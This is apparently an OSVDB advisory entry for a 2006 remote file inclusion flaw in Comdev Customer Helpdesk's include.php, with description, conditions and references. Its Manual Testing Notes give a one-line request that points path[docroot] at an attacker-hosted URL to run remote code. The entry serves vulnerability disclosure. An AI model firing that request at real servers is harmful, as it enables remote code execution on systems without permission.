Comdev Customer Helpdesk include.php path[docroot] Variable Remote File Inclusion

2006-09-27T10:18:38
ID OSVDB:29308
Type osvdb
Reporter rUnViRuS(stormhacker@hotmail.com)
Modified 2006-09-27T10:18:38

Description

Vulnerability Description

Comdev Customer Helpdesk contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Technical Description

This vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).

Solution Description

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

Short Description

Comdev Customer Helpdesk contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Manual Testing Notes

http://[target]/include.php?path["docroot"]=http://[attacker]

References:

Vendor URL: http://www.comdevweb.com/ Secunia Advisory ID:22154 Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0453.html ISS X-Force ID: 29220 FrSIRT Advisory: ADV-2006-3807 CVE-2006-5101